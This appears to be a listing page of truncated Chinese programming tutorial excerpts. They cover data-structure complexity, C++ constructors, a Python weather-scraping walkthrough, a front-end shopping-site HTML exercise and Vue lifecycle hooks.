文章目录 1. 复杂度计算1.1 时间复杂度1.2 空间复杂度1.3 如何计算 2. 常见线性结构2.1 顺序表 和 链表2.1.1 顺序表 (Array List)2.1.2 链表 (Linked List) 2.2 栈 和 队列2.2.1 什么是栈?什么是队列?关系是什么?2.2.2 如何实现?数组链表原生实现?适配器? 3. 常见非线性结构3.1 二叉树3.2 堆3.2.1 性质和概念3.2.2 实现3.2.3 topk3.2.4 堆排序 3.3 二叉树常见问题3.4 搜索树3.4.1 概念性质3.4.2 增删查改3.4.3 缺陷3.4.4 缺陷解决方案:平衡树 3.5 哈希3.5.1 什么是哈希?3.5.2 如何解决哈希冲突3.5.3 位图3.5.4 布隆过滤器3.5.5 海量数据处理的问题 4. 算法4.1 排序4.2 二分查找 1. 复杂度计算 复杂度计算用于评估算法的效率,通常关注两个方面:时间复杂度和空间复杂度。 1.1 时间复杂度 时间复杂度衡量算法运行所需的时间,通常用大 O 表示法来表示: O(1):常数时间,算法执行时间不随输入规模的变化而变化。O(log n):对数时间,执行时间随输入规模的对数增长,例如二分查找。O(n):线性时间,执行时间与输入规模成正比,例如线性搜索。O(n log n):线性对数时间,通常见于高效排序算法,如快速排序。O(n^2):平方时间,执行时间与输入规模的平方成正比,例如冒泡排序。O(2^n):指数时间,执行时间随输入规模指数增长,例如某些递归算法。O(n!):阶乘时间,执行时间随输入规模阶乘增长,例如某些组合问题的算法。 1.2 空间复杂度 空间复杂度衡量算法运行时所需的内存,通常也用大 O 表示法: O(1):常数空间,所需内存与输入规模无关。O(n):线性空间,所需内存与输入规模成正比,例如存储输入数据的数组。O(n^2):平方空间,所需内存与输入规模的平方成正比,例如二维矩阵。 1.3 如何计算 确定基本操作:找出算法中最频繁执行的操作。分析循环结构:嵌套循环通常会增加复杂度的阶数。简化表达式:忽略低阶项和常数系数,专注于主要增长趋势。 示例:

C++类和对象(2)

目录 1.类的默认成员函数 2.构造函数 2.1构造函数的特点 2.2初始化列表 2.2.1初始化列表总结 3.析构函数 3.1析构函数的特点 1.类的默认成员函数 默认成员函数就是⽤⼾没有显式实现,编译器会⾃动⽣成的成员函数称为默认成员函数。⼀个类,我们不写的情况下编译器会默认⽣成以下6个默认成员函数,重要的是前4个,最后两个取地址重载不重要。其次就是C++11以后还会增加两个默认成员函数,移动构造和移动赋值。 2.构造函数 构造函数是特殊的成员函数,需要注意的是,构造函数虽然名称叫构造,但是构造函数的主要任务并不是开空间创建对象(我们常使⽤的局部对象是栈帧创建时,空间就开好了),⽽是对象实例化时初始化对象。构造函数的本质是替代Init函数的功能,构造函数⾃动调⽤的特点就完美的替代的了Init。 2.1构造函数的特点 (1)函数名与类名相同。 (2)无返回值。(返回值啥都不需要给,也不需要写void,不要纠结,C++规定如此) (3)构造函数可以重载。 class Date { Date() { //... } Date(int a) { //... } }; (4) 对象实例化时系统会⾃动调⽤对应的构造函数。 (5)如果类中没有显式定义构造函数,则C++编译器会⾃动⽣成⼀个⽆参的默认构造函数,⼀旦⽤⼾显式定义编译器将不再⽣成。 #include <iostream> using namespace std; class Date { public: Date() { _year = 1900; _month = 1; _day = 1; } Date(int a) { //... } void Print() { cout << _year << "/" << _month << "

【Python爬虫+可视化】利用Python爬取天气数据并实现数据可视化,绘制天气轮播图,一个完整的案例分析

要使用Python爬取天气数据并实现数据可视化,特别是绘制天气轮播图(指的是随时间变化的天气图表),我们可以使用几个流行的库:requests 用于网络请求,pandas 用于数据处理,matplotlib 或 plotly 用于数据可视化。此外,为了处理时间序列数据,pandas 的日期时间功能非常有用。 先来看一下运行的结果 一、运行结果: 二、代码展示: 第一步:获取天气数据 通过div去获取 第二步:由生成csv文件↓ 接下来,我们来绘制天气轮播图 第三步:绘制天气轮播图 运行结果 完整代码请在下方获曲↓👇 注意 确保遵守API的使用条款和限制。天气数据可能因API服务而异,因此请确保按照你选择的服务的文档进行操作。

黑马前端——days11_综合案例

文章目录 一、首页1、页面开头2、快捷导航2.1 页面框架2.2 格式文件 3、头部模块3.1 页面框架3.2 格式文件 4、导航栏4.1 页面框架4.2 格式文件 5、页面主模块5.1 页面框架5.2 格式文件 6、推荐模块6.1 页面框架6.2 格式文件 7、楼层模块7.1 页面框架7.2 格式文件 8、页面底部8.1 页面框架8.2 格式文件 二、列表页1、页面开头2、主页共用头部模块2.1 页面框架2.2 格式文件 3、副导航3.1 页面框架3.2 格式文件 4、列表详情页4.1 页面框架4.2 格式文件 5、主页共用尾部模块5.1 页面框架5.2 格式文件 三、注册页1、页面开头2、头部区域2.1 页面框架2.2 格式文件 3、主体区域3.1 页面框架3.2 格式文件 4、尾部区域4.1 页面框架4.2 格式文件 四、完整代码1、主页框架文件2、列表页框架文件3、注册页框架文件4、统一样式文件5、共用样式文件6、主页样式文件7、列表页样式文件8、注册页样式文件 一、首页 1、页面开头 <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 优化网站 TDK --> <title>品优购商城 - 综合网购首选-正品低价、品质保障、配送及时、轻松购物!</title> <meta name="description" content="品优购商城-专业的综合网上购物商城,销售家电、数码通讯、电脑、家居百货、服装服饰、母 婴、图书、食品等数万个品牌优质商品.便捷、诚信的服务,为您提供愉悦的网上购物体验!" /> <meta name="

Vue的生命周期理解,简单易理解

什么是Vue的生命周期 简单来说,Vue的生命周期就是vue实例从创建到销毁的一个过程,即从创建–>初始化数据–>编译模板–>挂载Dom -->渲染、更新 -->渲染–>销毁 的一系列过程。 Vue的生命周期有哪些阶段 Vue的生命周期,主要过程有:创建、挂载、更新、销毁 这四个过程,其对应的钩子函数执行顺序,分别是: beforeCreate(创建前)、created(创建后)、beforeMount(挂载前)、mounted(挂载后)、beforeUpdate(更新前)、updated(更新后)、beforeDestroy(销毁前)、destroyed(销毁后)。 这里放一张官网的截图,可以更清晰的看到它们的执行过程: 值得注意的是,beforeUpdate(更新前)、updated(更新后)是在每次vue页面更新时,都会执行的钩子函数,通常我们可以在这些钩子函数中写一些页面更新会触发的逻辑。 钩子函数详解 了解钩子函数每个阶段进行了什么操作,可以方便我们在更合适的位置加入我们的逻辑 1)beforeCreate 在实例初始化(new Vue())后执行的函数,此时的数据监听和事件绑定机制都未完成,是获取不到DOM节点的。一般我们可以在此阶段加loading事件,在加载实例时触发 (2)created 在这个阶段vue实例已经创建,以下内容已被配置完毕:数据侦听、计算属性、方法、事件/侦听器的回调函数。但挂载阶段还没开始,仍然获取不到DOM元素。在此阶段,初始化完成时的事件写在这里,如在这结束loading事件,也可以进行异步请求 (3)beforeMount 在这个阶段完成了DOM的初始化,但仍然无法获取到具体的DOM元素,因为vue还没有进行根节点挂载,但是根节点已经创建完成,下面Vue对DOM的操作将围绕这个根节点进行。beforeMount这个阶段是过渡性的,在项目中使用得比较少 (4)mounted 在这个阶段,实例已经被挂载完成了,也就是能获取到数据和DOM元素了。 注意 mounted 不会保证所有的子组件也都被挂载完成。如果你希望等到整个视图都渲染完毕再执行某些操作,可以在 mounted 内部使用 vm.$nextTick. (5)beforeUpdate 在数据发生改变,但页面还没有完成更新时执行的操作,在此阶段视图的数据和DOM元素的数据没有保持同步。这里适合在现有 DOM 将要被更新之前访问它,比如移除手动添加的事件监听器 (6)updated 这个时候数据发生了改变,并且视图页面也已经完成了更新,因此,该阶段看到的DOM元素的内容是最新内容。 注意updated 不会保证所有的子组件也都被重新渲染完毕。如果你希望等到整个视图都渲染完毕,可以在 updated 里使用 vm.$nextTick (7)beforeDestroy 此阶段Vue实例仍然完全可用,也就是还能访问到页面的响应式数据和事件。可以在这里注销eventBus等事件 (8)destroyed DOM元素被销毁,此时对应 的Vue 实例所有指令都被解绑,所有的事件监听器被移除,所有的子实例也都被销毁。